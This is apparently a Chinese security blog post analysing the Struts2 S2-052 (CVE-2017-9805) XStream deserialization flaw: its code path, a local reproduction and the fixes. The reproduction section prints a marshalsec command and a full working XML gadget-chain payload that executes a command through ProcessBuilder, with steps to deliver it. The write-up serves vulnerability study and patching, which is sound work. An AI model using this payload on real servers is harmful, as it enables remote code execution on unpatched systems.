struts2 s2-052漏洞分析

很久以前的洞了,一直没时间分析,拖延症晚期o(╯□╰)o

前言

2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞公告,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险。
当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用该漏洞构造恶意的XML内容获取服务器权限。目前来说xml反序列化有两种,一种是XMLDecoder,另外一下是使用xstream。
利用条件:使用REST插件并在受影响版本范围内。
利用方式:攻击者构建恶意数据包远程利用。
影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞分析

下载struts-2.5.12-all.zip,将struts-2.5.12\src\apps\目录下的rest-showcase导入idea,再配置下project structure,如下
s2052-1.png

根据官方公告知道该漏洞出现在xstreamhandler类,定位到该类,发现在struts2-rest-plugin-2.5.12.jar包内
s2052-2.png

在toObject()处下一个断点,进行调试,发现其上层调用栈中,ContentTypeInterceptor类会根据请求的Content-Type选择对应的Handler进行处理。并且struts2-rest-plugin-2.5.12.jar的struts-plugin.xml配置文件是当Content-Type为xml会调用XStreamHandler类进行处理
s2052-5.png

所有当Content-Type为”application/xml”时,就会调用XStreamHandler.toObject(),在toObject()中调用 XStream.fromXML()对xml的内容进行反序列化,并且XStream没有对Reader做任何过滤处理。
s2052-3.png

s2052-4.png

所以整个流程是:

发起请求 -> ContentTypeInterceptor判断Content-Type ->若Content-Type:application/xml ->调用XStreamHandler.toObject()对xml数据流进行反序列化

过程已经很清晰明了,现在开始漏洞复现

漏洞复现

这里使用marshalsec构造生成payload

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO "calc" > poc.xml

payload如下:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

访问http://localhost:8088/orders/3/edit中点击Submit,burp抓包,将请求内容改为Payload,Content-Type Header改为application/xml,即可对请求内容进行反序列化
s2052-6.png

修复方案

1.官方补丁,官方的修复方案中,主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类
s2052-7.png

2.Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本,Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本

参考

1.Struts2 S2-052与XStream漏洞调试分析
2.S2-052漏洞分析及官方缓解措施无效验证
3.Struts2-052漏洞分析